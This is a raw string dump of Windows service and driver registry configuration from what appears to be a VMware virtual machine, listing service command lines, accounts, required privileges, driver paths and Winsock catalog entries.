SeDelegateSessionUserImpersonatePrivilege SeIncreaseBasePriorityPrivilege SeIncreaseQuotaPrivilege SeIncreaseWorkingSetPrivilege SeProfileSingleProcessPrivilege SeSystemProfilePrivilege SeSystemtimePrivilege SeTimeZonePrivilege SeUndockPrivilege %systemroot%\system32\MitigationClient.dll ServiceMain TSDDD @%SystemRoot%\system32\drivers\tsusbflt.sys,-1000 @%SystemRoot%\system32\drivers\tsusbflt.sys,-1000 system32\drivers\tsusbflt.sys @%SystemRoot%\System32\drivers\tunnel.sys,-500 NDIS System32\drivers\tunnel.sys @%SystemRoot%\system32\tzautoupdate.dll,-201 @%SystemRoot%\system32\tzautoupdate.dll,-200 %SystemRoot%\system32\svchost.exe -k LocalService -p NT AUTHORITY\LocalService SeAuditPrivilege SeChangeNotifyPrivilege SeCreateGlobalPrivilege SeSystemTimePrivilege SeTimeZonePrivilege SeImpersonatePrivilege %SystemRoot%\Globalization\Time Zone\tzautoupdate.dat %SystemRoot%\system32\tzautoupdate.dll ServiceMain USB Connector Manager KMDF Class Extension System Bus Extender System32\Drivers\UcmCx.sys UCM-TCPCI KMDF Class Extension System Bus Extender System32\Drivers\UcmTcpciCx.sys UCM-UCSI KMDF Class Extension System Bus Extender System32\Drivers\UcmUcsiCx.sys USB Host Support Library Boot Bus Extender system32\drivers\ucx01000.sys USB Device Emulation Support Library system32\drivers\udecx.sys Reads/Writes UDF 1.02,1.5,2.0x,2.5 disc formats, usually found on C/DVD discs. (Core) (All pieces) udfs Boot File System system32\DRIVERS\udfs.sys @%SystemRoot%\system32\windowsudkservices.shellcommon.dll,-101 @%SystemRoot%\system32\windowsudkservices.shellcommon.dll,-100 %SystemRoot%\system32\svchost.exe -k UdkSvcGroup %SystemRoot%\System32\windowsudkservices.shellcommon.dll ServiceMain FltMgr @%systemroot%\system32\drivers\UevAgentDriver.sys,-102 @%systemroot%\system32\drivers\UevAgentDriver.sys,-101 FSFilter Top \SystemRoot\system32\drivers\UevAgentDriver.sys UE-V Instance 404710 @%systemroot%\system32\AgentService.exe,-101 @%systemroot%\system32\AgentService.exe,-102 ProfSvc_Group %systemroot%\system32\AgentService.exe LocalSystem SeTcbPrivilege SeCreateGlobalPrivilege SeAssignPrimaryTokenPrivilege USB Function Class Extension System Bus Extender system32\drivers\ufx01000.sys Close Collect %systemroot%\system32\msscntrs.dll Open gsrvctr.ini Close Collect %systemroot%\system32\msscntrs.dll Open gthrctr.ini TermService RDPDR @%SystemRoot%\system32\umrdp.dll,-1001 @%SystemRoot%\system32\umrdp.dll,-1000 %SystemRoot%\System32\svchost.exe -k LocalSystemNetworkRestricted -p localSystem SeAuditPrivilege SeChangeNotifyPrivilege SeCreateGlobalPrivilege SeImpersonatePrivilege SeIncreaseQuotaPrivilege SeCreatePermanentPrivilege SeLoadDriverPrivilege SeDebugPrivilege %SystemRoot%\System32\umrdp.dll FltMgr @%systemroot%\system32\drivers\UnionFS.sys,-101 @%systemroot%\system32\drivers\UnionFS.sys,-100 FSFilter HSM \SystemRoot\system32\drivers\UnionFS.sys UnionFS Instance 130850 @%SystemRoot%\system32\UserDataAccessRes.dll,-10002 @%SystemRoot%\system32\UserDataAccessRes.dll,-10003 %SystemRoot%\System32\svchost.exe -k UnistackSvcGroup LocalSystem SeImpersonatePrivilege SeCreateGlobalPrivilege %SystemRoot%\System32\unistore.dll SSDPSRV HTTP @%systemroot%\system32\upnphost.dll,-214 @%systemroot%\system32\upnphost.dll,-213 %SystemRoot%\system32\svchost.exe -k LocalServiceAndNoImpersonation -p NT AUTHORITY\LocalService SeChangeNotifyPrivilege SeCreateGlobalPrivilege %SystemRoot%\System32\upnphost.dll USB Role-Switch Support Library System Bus Extender system32\drivers\urscx01000.sys UnistoreSvc @%SystemRoot%\system32\UserDataAccessRes.dll,-14000 @%SystemRoot%\system32\UserDataAccessRes.dll,-14001 %SystemRoot%\system32\svchost.exe -k UnistackSvcGroup LocalSystem SeImpersonatePrivilege SeCreateGlobalPrivilege %SystemRoot%\System32\userdataservice.dll RpcSs ProfSvc @%systemroot%\system32\usermgr.dll,-101 @%systemroot%\system32\usermgr.dll,-100 %SystemRoot%\system32\svchost.exe -k netsvcs -p LocalSystem SeTcbPrivilege SeImpersonatePrivilege SeAuditPrivilege SeChangeNotifyPrivilege SeBackupPrivilege SeRestorePrivilege SeAssignPrimaryTokenPrivilege SeTakeOwnershipPrivilege SeDebugPrivilege %SystemRoot%\System32\usermgr.dll B18FBAB6-56F8-4702-84E0-41053293A869 rpcss @%systemroot%\system32\usosvc.dll,-102 @%systemroot%\system32\usosvc.dll,-101 %systemroot%\system32\svchost.exe -k netsvcs -p LocalSystem SeAuditPrivilege SeCreateGlobalPrivilege SeCreatePageFilePrivilege SeTcbPrivilege SeAssignPrimaryTokenPrivilege SeImpersonatePrivilege SeIncreaseQuotaPrivilege SeShutdownPrivilege SeDebugPrivilege SeBackupPrivilege SeRestorePrivilege SeSecurityPrivilege SeTakeOwnershipPrivilege SeLoadDriverPrivilege SeManageVolumePrivilege SeSystemEnvironmentPrivilege SeCreateSymbolicLinkPrivilege SeIncreaseBasePriorityPrivilege %systemroot%\system32\usosvc.dll ServiceMain rpcss @%SystemRoot%\system32\vaultsvc.dll,-1004 @%SystemRoot%\system32\vaultsvc.dll,-1003 %SystemRoot%\system32\lsass.exe LocalSystem SeTcbPrivilege SeTakeOwnershipPrivilege C:\Windows\System32\vaultsvc.dll RpcSs @%SystemRoot%\system32\vds.exe,-112 @%SystemRoot%\system32\vds.exe,-100 %SystemRoot%\System32\vds.exe LocalSystem Alignment Settings in Bytes Microsoft Virtual Disk Service Dynamic Provider {02A3586C-D264-40BF-97F7-FE40F7E3A882} 3.0.0.1 {2257D938-D8AE-4b70-A78C-A2E9057BE16E} Microsoft Virtual Disk Service Basic Provider {DE010DA1-289B-4232-8CD0-5112DCA6A7B3} 3.0.0.1 {E4B32946-3DC3-4890-93C9-AF356D673E8B} Microsoft Virtual Disk Service Virtual Disk Provider {80CB8C11-0E10-45F4-A1BA-EAD3838D7034} 1.0.0.0 {DA37C84D-2B14-4CE2-9E73-79CE53CEF809} @%SystemRoot%\System32\drivers\VerifierExt.sys,-1001 @%SystemRoot%\System32\drivers\VerifierExt.sys,-1000 WdfLoadGroup System32\drivers\VerifierExt.sys @%systemroot%\system32\icsvc.dll,-802 @%systemroot%\system32\icsvc.dll,-801 %systemroot%\system32\svchost.exe -k LocalSystemNetworkRestricted -p LocalSystem SeChangeNotifyPrivilege %SystemRoot%\System32\icsvc.dll GuestInterfaceServiceMain @%systemroot%\system32\icsvc.dll,-102 @%systemroot%\system32\icsvc.dll,-101 %systemroot%\system32\svchost.exe -k ICService -p LocalSystem SeChangeNotifyPrivilege %SystemRoot%\System32\icsvc.dll HeartbeatServiceMain @%systemroot%\system32\icsvc.dll,-202 @%systemroot%\system32\icsvc.dll,-201 %systemroot%\system32\svchost.exe -k LocalSystemNetworkRestricted -p LocalSystem SeChangeNotifyPrivilege %SystemRoot%\System32\icsvc.dll KvpexchangeServiceMain @%systemroot%\system32\icsvcext.dll,-602 @%systemroot%\system32\icsvcext.dll,-601 %systemroot%\system32\svchost.exe -k ICService -p LocalSystem SeChangeNotifyPrivilege SeBackupPrivilege SeRestorePrivilege SeTakeOwnershipPrivilege SeManageVolumePrivilege SeCreateSymbolicLinkPrivilege SeShutdownPrivilege %SystemRoot%\System32\icsvcext.dll RdvServiceMain @%systemroot%\system32\icsvc.dll,-302 @%systemroot%\system32\icsvc.dll,-301 %systemroot%\system32\svchost.exe -k LocalSystemNetworkRestricted -p LocalSystem SeChangeNotifyPrivilege SeShutdownPrivilege SeTcbPrivilege SeImpersonatePrivilege %SystemRoot%\System32\icsvc.dll ShutdownServiceMain VmGid @%systemroot%\system32\icsvc.dll,-402 @%systemroot%\system32\icsvc.dll,-401 %systemroot%\system32\svchost.exe -k LocalServiceNetworkRestricted -p NT AUTHORITY\LocalService SeChangeNotifyPrivilege SeSystemtimePrivilege SeCreateGlobalPrivilege %SystemRoot%\System32\icsvc.dll TimesyncServiceMain @%systemroot%\system32\icsvc.dll,-902 @%systemroot%\system32\icsvc.dll,-901 %systemroot%\system32\svchost.exe -k LocalSystemNetworkRestricted -p LocalSystem SeChangeNotifyPrivilege SeBackupPrivilege SeRestorePrivilege SeDebugPrivilege SeImpersonatePrivilege SeTcbPrivilege SeIncreaseQuotaPrivilege SeAssignPrimaryTokenPrivilege %SystemRoot%\System32\icsvc.dll VMSessionServiceMain @%systemroot%\system32\icsvcvss.dll,-102 @%systemroot%\system32\icsvcvss.dll,-101 %systemroot%\system32\svchost.exe -k LocalSystemNetworkRestricted -p LocalSystem SeChangeNotifyPrivilege SeBackupPrivilege %SystemRoot%\System32\icsvcvss.dll VssServiceMain @%SystemRoot%\system32\drivers\volmgrx.sys,-101 @%SystemRoot%\system32\drivers\volmgrx.sys,-100 System Bus Extender System32\drivers\volmgrx.sys System32\drivers\vsmraid.sys SCSI Miniport vsmraid.inf RPCSS @%systemroot%\system32\vssvc.exe,-101 @%systemroot%\system32\vssvc.exe,-102 %systemroot%\system32\vssvc.exe LocalSystem Microsoft Software Shadow Copy provider 1.0 1.0.0.7 {00000001-0000-0000-0007-000000000001} {65EE1DBA-8FF4-4a58-AC1C-3470EE2F376A} DFS-R Writer AD Writer FRS Writer ADAM Writer System32\drivers\vstxraid.sys SCSI Miniport @vstxraid.inf,%Driver.DeviceDesc%;VIA StorX Storage RAID Controller Windows Driver vstxraid.inf @%SystemRoot%\System32\drivers\vwififlt.sys,-260 @%SystemRoot%\System32\drivers\vwififlt.sys,-259 NDIS System32\drivers\vwififlt.sys @%SystemRoot%\system32\w32time.dll,-201 @%SystemRoot%\system32\w32time.dll,-200 %SystemRoot%\system32\svchost.exe -k LocalService NT AUTHORITY\LocalService SeAuditPrivilege SeChangeNotifyPrivilege SeCreateGlobalPrivilege SeSystemTimePrivilege SeImpersonatePrivilege time.windows.com,0x9 %systemroot%\system32\w32time.dll SvchostEntry_W32Time %systemroot%\system32\w32time.dll %systemroot%\system32\w32time.dll %SystemRoot%\System32\vmictimeprovider.dll @%SystemRoot%\System32\WalletService.dll,-1001 @%SystemRoot%\System32\WalletService.dll,-1000 %SystemRoot%\System32\svchost.exe -k appmodel -p LocalSystem SeChangeNotifyPrivilege SeIncreaseWorkingSetPrivilege SeCreateGlobalPrivilege SeImpersonatePrivilege %SystemRoot%\system32\WalletService.dll ServiceMain @%systemroot%\system32\mprmsg.dll,-32011 @%systemroot%\system32\mprmsg.dll,-32011 NDIS System32\DRIVERS\wanarp.sys @%systemroot%\system32\mprmsg.dll,-32012 NDIS SWD\Generic @%systemroot%\system32\mprmsg.dll,-32012 System32\DRIVERS\wanarp.sys @%SystemRoot%\System32\Windows.WARP.JITService.dll,-101 @%SystemRoot%\System32\Windows.WARP.JITService.dll,-100 %SystemRoot%\System32\svchost.exe -k LocalServiceNetworkRestricted NT Authority\LocalService SeImpersonatePrivilege SeChangeNotifyPrivilege SeAssignPrimaryTokenPrivilege %SystemRoot%\System32\Windows.WARP.JITService.dll ServiceMain 5A0CE74D-F9CF-4DEA-A4C1-2D5FE4C89D51 @%systemroot%\system32\wbengine.exe,-105 @%systemroot%\system32\wbengine.exe,-104 "%systemroot%\system32\wbengine.exe" localSystem SeImpersonatePrivilege SeBackupPrivilege SeManageVolumePrivilege SeRestorePrivilege SeSystemEnvironmentPrivilege SeSecurityPrivilege SeTakeOwnershipPrivilege SeShutdownPrivilege RpcSs @%systemroot%\system32\wbiosrvc.dll,-101 @%systemroot%\system32\wbiosrvc.dll,-100 SmartCardGroup %SystemRoot%\system32\svchost.exe -k WbioSvcGroup LocalSystem SeAssignPrimaryTokenPrivilege SeIncreaseQuotaPrivilege SeTcbPrivilege SeBackupPrivilege SeRestorePrivilege SeDebugPrivilege SeAuditPrivilege SeChangeNotifyPrivilege SeImpersonatePrivilege SeSystemEnvironmentPrivilege SeShutdownPrivilege SeLoadDriverPrivilege F0C50EE5-9AF9-4031-9C59-49A30F35B6F7 AAF42352-63C7-424D-871C-03DCA07CB0D8 5B3FBA54-792B-40C7-8822-2EFC0A255F78 %SystemRoot%\System32\wbiosrvc.dll 1234567890 51F39552-1075-4199-B513-0C10EA185DB0 NUIVoiceWBSAdapters.dll NUIVoiceWBSAdapters.dll WinBioStorageAdapter.dll C0E9671E-33C6-4438-9464-56B2E1B1C7B4 4BE96A0F-9F52-4729-A51D-C70610F118B0 FltMgr @%systemroot%\system32\drivers\wcifs.sys,-101 @%systemroot%\system32\drivers\wcifs.sys,-100 FSFilter Virtualization \SystemRoot\system32\drivers\wcifs.sys None wcifs Instance wcifs Outer Instance 189900 189899 RpcSs WinHttpAutoProxySvc @%SystemRoot%\System32\wcmsvc.dll,-4098 @%SystemRoot%\System32\wcmsvc.dll,-4097 %SystemRoot%\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Wcmsvc NT Authority\LocalService SeChangeNotifyPrivilege SeImpersonatePrivilege EthernetCspDeInit wcmcsp.dll EthernetCspInit WlanCspDeInit wcmcsp.dll WlanCspInit wlansvc WwanCspDeInit wcmcsp.dll WwanCspInit wwansvc %SystemRoot%\System32\wcmsvc.dll WcmSvcMain rpcss @%SystemRoot%\system32\wcncsvc.dll,-4 @%SystemRoot%\system32\wcncsvc.dll,-3 %SystemRoot%\System32\svchost.exe -k LocalServiceAndNoImpersonation -p NT AUTHORITY\LocalService SeChangeNotifyPrivilege %SystemRoot%\System32\wcncsvc.dll WcnServiceMain Early-Launch @%SystemRoot%\system32\drivers\Wdf01000.sys,-1000 WdfLoadGroup system32\drivers\Wdf01000.sys FltMgr FSFilter Anti-Virus WdFilter Instance 328010 @%systemroot%\system32\wdi.dll,-503 @%systemroot%\system32\wdi.dll,-502 %SystemRoot%\System32\svchost.exe -k LocalService -p NT AUTHORITY\LocalService SeChangeNotifyPrivilege SeImpersonatePrivilege SeSystemProfilePrivilege %SystemRoot%\system32\wdi.dll ServiceMain @%systemroot%\system32\wdi.dll,-501 @%systemroot%\system32\wdi.dll,-500 %SystemRoot%\System32\svchost.exe -k LocalSystemNetworkRestricted -p LocalSystem SeChangeNotifyPrivilege SeImpersonatePrivilege SeTcbPrivilege SeDebugPrivilege SeAssignPrimaryTokenPrivilege SeIncreaseQuotaPrivilege SeProfileSingleProcessPrivilege SeSystemEnvironmentPrivilege %SystemRoot%\system32\wdi.dll ServiceMain WDI Driver Framework system32\DRIVERS\wdiwifi.sys @%SystemRoot%\system32\drivers\WdmCompanionFilter.sys,-1000 base system32\drivers\WdmCompanionFilter.sys WdNisDrv NT AUTHORITY\LocalService MRxDAV @%systemroot%\system32\webclnt.dll,-101 @%systemroot%\system32\webclnt.dll,-100 NetworkProvider %SystemRoot%\system32\svchost.exe -k LocalService -p NT AUTHORITY\LocalService SeImpersonatePrivilege SeCreateGlobalPrivilege SeAssignPrimaryTokenPrivilege SeIncreaseQuotaPrivilege \Device\WebDavRedirector Web Client Network %SystemRoot%\System32\davclnt.dll %SystemRoot%\System32\webclnt.dll RpcSs @%systemroot%\system32\webthreatdefsvc.dll,-101 @%systemroot%\system32\webthreatdefsvc.dll,-100 %SystemRoot%\system32\svchost.exe -k WebThreatDefense -p NT AUTHORITY\LocalService %SystemRoot%\System32\webthreatdefsvc.dll RpcSs @%systemroot%\system32\webthreatdefusersvc.dll,-101 @%systemroot%\system32\webthreatdefusersvc.dll,-100 %SystemRoot%\system32\svchost.exe -k LocalSystemNetworkRestricted -p LocalSystem SeImpersonatePrivilege %SystemRoot%\System32\webthreatdefusersvc.dll HTTP Eventlog @%SystemRoot%\system32\wecsvc.dll,-201 @%SystemRoot%\system32\wecsvc.dll,-200 %SystemRoot%\system32\svchost.exe -k NetworkService -p NT AUTHORITY\NetworkService SeAuditPrivilege SeChangeNotifyPrivilege SeImpersonatePrivilege %SystemRoot%\system32\wecsvc.dll ServiceMain rpcss @%systemroot%\system32\wephostsvc.dll,-101 @%systemroot%\system32\wephostsvc.dll,-100 not used %systemroot%\system32\svchost.exe -k WepHostSvcGroup NT AUTHORITY\LocalService not used %systemroot%\system32\wephostsvc.dll 56244243-3ED3-4013-B3E7-0FC809E35FBA @%SystemRoot%\System32\wercplsupport.dll,-100 @%SystemRoot%\System32\wercplsupport.dll,-101 %SystemRoot%\System32\svchost.exe -k netsvcs -p localSystem SeImpersonatePrivilege SeTcbPrivilege %SystemRoot%\System32\wercplsupport.dll @%SystemRoot%\System32\wersvc.dll,-101 @%SystemRoot%\System32\wersvc.dll,-100 %SystemRoot%\System32\svchost.exe -k WerSvcGroup localSystem SeDebugPrivilege SeTcbPrivilege SeImpersonatePrivilege SeAssignPrimaryTokenPrivilege SeSecurityPrivilege %SystemRoot%\System32\WerSvc.dll RpcSs @%SystemRoot%\System32\wfdsconmgrsvc.dll,-9001 @%SystemRoot%\System32\wfdsconmgrsvc.dll,-9000 %SystemRoot%\system32\svchost.exe -k LocalServiceNetworkRestricted -p NT AUTHORITY\LocalService SeAuditPrivilege SeChangeNotifyPrivilege SeImpersonatePrivilege %SystemRoot%\System32\wfdsconmgrsvc.dll ServiceMain 9FA6AFF6-E0AD-48DF-A6B4-E64BE66A17A1 ndis @%SystemRoot%\System32\drivers\wfplwfs.sys,-6000 @%SystemRoot%\System32\drivers\wfplwfs.sys,-6000 PNP_TDI System32\drivers\wfplwfs.sys RpcSs @%SystemRoot%\system32\wiarpc.dll,-1 @%SystemRoot%\system32\wiarpc.dll,-2 %SystemRoot%\system32\svchost.exe -k LocalSystemNetworkRestricted -p LocalSystem SeImpersonatePrivilege SeAssignPrimaryTokenPrivilege %SystemRoot%\System32\wiarpc.dll NetAdapterCx Wifi Network Adapter Class Extension system32\drivers\WifiCx.sys FltMgr @%SystemRoot%\system32\drivers\wimmount.sys,-102 @%SystemRoot%\system32\drivers\wimmount.sys,-101 FSFilter Infrastructure system32\drivers\wimmount.sys WIMMount 180700 Microsoft Accelerator Class Extension Driver System Bus Extender system32\drivers\WinAccelCx.sys RpcSs LocalSystem SeImpersonatePrivilege SeBackupPrivilege SeRestorePrivilege SeDebugPrivilege SeChangeNotifyPrivilege SeLoadDriverPrivilege SeSecurityPrivilege SeShutdownPrivilege SeIncreaseQuotaPrivilege SeAssignPrimaryTokenPrivilege SeTcbPrivilege SeIncreaseBasePriorityPrivilege SeSystemEnvironmentPrivilege SeTakeOwnershipPrivilege ClosePerformanceData CollectPerformanceData Workflows Created Workflows Created/sec Workflows Unloaded Workflows Unloaded/sec Workflows Loaded Workflows Loaded/sec Workflows Completed Workflows Completed/sec Workflows Suspended Workflows Suspended/sec Workflows Terminated Workflows Terminated/sec Workflows In Memory Workflows Aborted Workflows Aborted/sec Workflows Persisted Workflows Persisted/sec Workflows Executing Workflows Idle/sec Workflows Runnable Workflows Pending 65536 272696320 65536 272696320 65536 272696320 65536 272696320 65536 272696320 65536 272696320 65536 65536 272696320 65536 272696320 65536 272696320 65536 65536 %systemroot%\system32\NETFXPerf.dll OpenPerformanceData PerfCounters_d.ini Windows Trusted Execution Environment Class Extension Core Security Extensions system32\drivers\WindowsTrustedRT.sys RPCSS @%Systemroot%\system32\wbem\wmisvc.dll,-204 @%Systemroot%\system32\wbem\wmisvc.dll,-205 %systemroot%\system32\svchost.exe -k netsvcs -p localSystem %SystemRoot%\system32\wbem\WMIsvc.dll ServiceMain Tcpip @%SystemRoot%\system32\drivers\winnat.sys,-10002 @%SystemRoot%\system32\drivers\winnat.sys,-10001 system32\drivers\winnat.sys RPCSS HTTP @%Systemroot%\system32\wsmsvc.dll,-102 @%Systemroot%\system32\wsmsvc.dll,-101 %SystemRoot%\System32\svchost.exe -k NetworkService -p NT AUTHORITY\NetworkService SeAssignPrimaryTokenPrivilege SeAuditPrivilege SeChangeNotifyPrivilege SeCreateGlobalPrivilege SeImpersonatePrivilege %SystemRoot%\system32\WsmSvc.dll ServiceMain Tcpip6 Tcpip vmbus Psched afunix RFCOMM RFCOMM Tcpip6 Tcpip vmbus Psched afunix Tcpip Tcpip6 NwlnkIpx NwlnkSpx AppleTalk IsoTp Psched C:\Windows\System32\rasadhlp.dll %SystemRoot%\System32\fwpuclnt.dll NameSpace_Catalog5 Protocol_Catalog9 C:\Windows\System32\wininit.exe C:\Windows\System32\svchost.exe C:\Windows\System32\lsass.exe %SystemRoot%\system32\napinsp.dll @%SystemRoot%\system32\napinsp.dll,-1000 %SystemRoot%\System32\mswsock.dll @%SystemRoot%\system32\wshtcpip.dll,-60103 %SystemRoot%\System32\winrnr.dll @%SystemRoot%\System32\winrnr.dll,-1000 %SystemRoot%\system32\nlansp_c.dll @%SystemRoot%\system32\nlasvc.dll,-1000 %SystemRoot%\system32\wshbth.dll Bluetooth Namespace %SystemRoot%\system32\napinsp.dll @%SystemRoot%\system32\napinsp.dll,-1000 %SystemRoot%\System32\mswsock.dll @%SystemRoot%\system32\wshtcpip.dll,-60103 %SystemRoot%\System32\winrnr.dll @%SystemRoot%\System32\winrnr.dll,-1000 %SystemRoot%\system32\nlansp_c.dll @%SystemRoot%\system32\nlasvc.dll,-1000 %SystemRoot%\system32\wshbth.dll Bluetooth Namespace @%SystemRoot%\System32\mswsock.dll,-60100 @%SystemRoot%\System32\mswsock.dll,-60101 vSockets STREAM Microsoft Windows Hardware Compatibility Publisher 68764040_14440598022152807_1152921505698636434 efifw.cat efifw.inf_amd64_58e4e7ebdea4217c oem3.inf ot%\ efifw.inf_amd64_58e4e7ebdea4217c Windows Broadcom Inc. pvscsi.inf C:\Program Files\Common Files\VMware\Drivers\pvscsi\Win10 Microsoft Windows Hardware Compatibility Publisher 68764040_13526575112120838_1152921505698618303 pvscsi.cat pvscsi.inf_amd64_418207470a1bf327 oem5.inf pvscsi.inf_amd64_418207470a1bf327 "%ProgramData%\Microsoft\Windows Defender\Platform\4.18.26010.5-0\NisSrv.exe" Broadcom Inc. vmusbmouse.inf C:\Program Files\Common Files\VMware\Drivers\mouse\Win8 Microsoft Windows Hardware Compatibility Publisher 68764040_14333394897048948_1152921505698631200 vmusbmouse.cat vmusbmouse.inf_amd64_58ff4967b513bcbb oem6.inf VMUsbMouse %vmusbmouse.mfg% %vmusbmouse.svcdesc% mouhid VMUsbMouse msmouse.inf Broadcom Inc. @%SystemRoot%\System32\mswsock.dll,-60102 @%SystemRoot%\System32\wshqos.dll,-100 @%SystemRoot%\System32\wshqos.dll,-100 @%SystemRoot%\System32\wshqos.dll,-101 @%SystemRoot%\System32\wshqos.dll,-101 @%SystemRoot%\System32\wshqos.dll,-102 @%SystemRoot%\System32\wshqos.dll,-103 MSAFD L2CAP [Bluetooth] mlue MSAFD RfComm [Bluetooth] vSockets STREAM Hyper-V RAW AF_UNIX mdll @%SystemRoot%\System32\mswsock.dll,-60200 @%SystemRoot%\System32\mswsock.dll,-60201 @%SystemRoot%\System32\mswsock.dll,-60202 @%SystemRoot%\System32\mswsock.dll,-60200 @%SystemRoot%\System32\mswsock.dll,-60201 @%SystemRoot%\System32\mswsock.dll,-60202 @%SystemRoot%\System32\mswsock.dll,-60100 @%SystemRoot%\System32\mswsock.dll,-60101 @%SystemRoot%\System32\mswsock.dll,-60102 @%SystemRoot%\System32\mswsock.dll,-60102 mmRo @%SystemRoot%\System32\wshqos.dll,-100 @%SystemRoot%\System32\wshqos.dll,-100 m2CA @%SystemRoot%\System32\wshqos.dll,-101 @%SystemRoot%\System32\wshqos.dll,-101 rpcss LocalSystem @%SystemRoot%\system32\flightsettings.dll,-104 @%SystemRoot%\system32\flightsettings.dll,-103 %systemroot%\system32\svchost.exe -k netsvcs -p SeImpersonatePrivilege SeTcbPrivilege SeCreateGlobalPrivilege SeSystemEnvironmentPrivilege SeShutdownPrivilege %systemroot%\system32\flightsettings.dll ServiceMain nativewifip RpcSs Ndisuio wcmsvc @%SystemRoot%\System32\wlansvc.dll,-258 @%SystemRoot%\System32\wlansvc.dll,-257 %SystemRoot%\system32\svchost.exe -k LocalSystemNetworkRestricted -p LocalSystem SeChangeNotifyPrivilege SeImpersonatePrivilege SeAuditPrivilege SeTcbPrivilege SeDebugPrivilege SeLoadDriverPrivilege %SystemRoot%\System32\wlansvc.dll WlanSvcMain {46C166AA-3108-11D4-9348-00C04F8EEB71} 192.168.137.1 %SystemRoot%\System32\WcnEapAuthProxy.dll %SYSTEMROOT%\System32\WlanSvc.dll %SYSTEMROOT%\System32\TetheringIeProvider.dll %SYSTEMROOT%\System32\WlanSvc.dll %SYSTEMROOT%\System32\WiFiDisplay.dll %SystemRoot%\System32\wfdprov.dll WFDProvGetInfo 0C9281F9-6DA1-4006-8729-DE6E6B61581C RpcSs @%SystemRoot%\system32\wlidsvc.dll,-101 @%SystemRoot%\system32\wlidsvc.dll,-100 %SystemRoot%\system32\svchost.exe -k netsvcs -p LocalSystem SeCreateGlobalPrivilege SeImpersonatePrivilege SeTcbPrivilege SeAssignPrimaryTokenPrivilege SeIncreaseQuotaPrivilege SeRestorePrivilege SeBackupPrivilege %SystemRoot%\system32\wlidsvc.dll CC105610-DA03-467E-BC73-5B9E2937458D FAF2447B-B348-4FEB-8DBE-BEEE5B7F7778 WwanSvc RpcSs @%SystemRoot%\system32\lpasvc.dll,-1001 @%SystemRoot%\system32\lpasvc.dll,-1000 %SystemRoot%\system32\svchost.exe -k LocalServiceNetworkRestricted -p NT Authority\LocalService SeAuditPrivilege SeImpersonatePrivilege %SystemRoot%\System32\lpasvc.dll LpaSvcMain 4f4fa786-2f8f-49e8-8aae-6669febd5d1d rpcss @%systemroot%\system32\Windows.Management.Service.dll,-101 @%systemroot%\system32\Windows.Management.Service.dll,-100 %systemroot%\system32\svchost.exe -k netsvcs -p LocalSystem SeImpersonatePrivilege SeTcbPrivilege SeIncreaseQuotaPrivilege SeAssignPrimaryTokenPrivilege SeBackupPrivilege SeRestorePrivilege SeSystemEnvironmentPrivilege SeTakeOwnershipPrivilege SeSecurityPrivilege SeShutdownPrivilege SeSystemtimePrivilege %systemroot%\system32\Windows.Management.Service.dll ServiceMain WmiClosePerfData WmiCollectPerfData %systemroot%\system32\wbem\wmiaprpl.dll WmiOpenPerfData @%Systemroot%\system32\wbem\wmiapsrv.exe,-111 @%Systemroot%\system32\wbem\wmiapsrv.exe,-110 %systemroot%\system32\wbem\WmiApSrv.exe localSystem http WSearch @%PROGRAMFILES%\Windows Media Player\wmpnetwk.exe,-102 @%PROGRAMFILES%\Windows Media Player\wmpnetwk.exe,-101 "%PROGRAMFILES%\Windows Media Player\wmpnetwk.exe" NT AUTHORITY\NetworkService SeChangeNotifyPrivilege SeCreateGlobalPrivilege SeImpersonatePrivilege FltMgr Windows Overlay File System Filter Driver FSFilter Compression Wof Instance 40700 WORKERDD RpcSs wsearch @%systemroot%\system32\workfolderssvc.dll,-101 @%systemroot%\system32\workfolderssvc.dll,-102 LocalService %SystemRoot%\System32\svchost.exe -k LocalService -p NT AUTHORITY\LocalService SeImpersonatePrivilege %systemroot%\system32\workfolderssvc.dll @%systemroot%\system32\WpcRefreshTask.dll,-101 @%systemroot%\system32\WpcRefreshTask.dll,-100 %SystemRoot%\system32\svchost.exe -k LocalService LocalSystem %SystemRoot%\System32\WpcDesktopMonSvc.dll ServiceMain RpcSs @%SystemRoot%\system32\wpdbusenum.dll,-101 @%SystemRoot%\system32\wpdbusenum.dll,-100 %SystemRoot%\system32\svchost.exe -k LocalSystemNetworkRestricted LocalSystem SeShutdownPrivilege SeAuditPrivilege SeTcbPrivilege SeChangeNotifyPrivilege SeCreateGlobalPrivilege SeCreatePermanentPrivilege SeImpersonatePrivilege SeLoadDriverPrivilege %SystemRoot%\system32\wpdbusenum.dll @%systemroot%\System32\drivers\WpdUpFltr.sys,-100 @%systemroot%\System32\drivers\WpdUpFltr.sys,-100 PnP Filter System32\drivers\WpdUpFltr.sys rpcss @%SystemRoot%\system32\wpnservice.dll,-2 @%SystemRoot%\system32\wpnservice.dll,-1 %systemroot%\system32\svchost.exe -k netsvcs -p LocalSystem SeChangeNotifyPrivilege SeImpersonatePrivilege SeCreateGlobalPrivilege SeTcbPrivilege %SystemRoot%\system32\WpnService.dll @%SystemRoot%\system32\WpnUserService.dll,-2 @%SystemRoot%\system32\WpnUserService.dll,-1 %SystemRoot%\system32\svchost.exe -k UnistackSvcGroup LocalSystem SeImpersonatePrivilege SeCreateGlobalPrivilege %SystemRoot%\System32\WpnUserService.dll PNP_TDI @%systemroot%\System32\drivers\ws2ifsl.sys,-1000 \SystemRoot\system32\drivers\ws2ifsl.sys RpcSs @%SystemRoot%\System32\wscsvc.dll,-201 @%SystemRoot%\System32\wscsvc.dll,-200 %SystemRoot%\System32\svchost.exe -k LocalServiceNetworkRestricted -p NT AUTHORITY\LocalService SeChangeNotifyPrivilege SeImpersonatePrivilege %SystemRoot%\System32\wscsvc.dll VMware, Inc. RPCSS BrokerInfrastructure @%systemroot%\system32\SearchIndexer.exe,-104 @%systemroot%\system32\SearchIndexer.exe,-103 %systemroot%\system32\SearchIndexer.exe /Embedding LocalSystem SeChangeNotifyPrivilege SeManageVolumePrivilege SeImpersonatePrivilege SeAssignPrimaryTokenPrivilege SeIncreaseQuotaPrivilege SeTcbPrivilege PerfmonIDXClose PerfmonIDXCollect %systemroot%\system32\tquery.dll PerfmonIDXOpen idxcntrs.ini tcpip FltMgr @%SystemRoot%\system32\drivers\wtd.sys,-1001 @%SystemRoot%\system32\drivers\wtd.sys,-1000 network System32\drivers\wtd.sys WtdFilter Instance 385110 rpcss @%systemroot%\system32\wuaueng.dll,-106 @%systemroot%\system32\wuaueng.dll,-105 %systemroot%\system32\svchost.exe -k netsvcs -p LocalSystem %systemroot%\system32\wuaueng.dll WUServiceMain SeAuditPrivilege SeCreateGlobalPrivilege 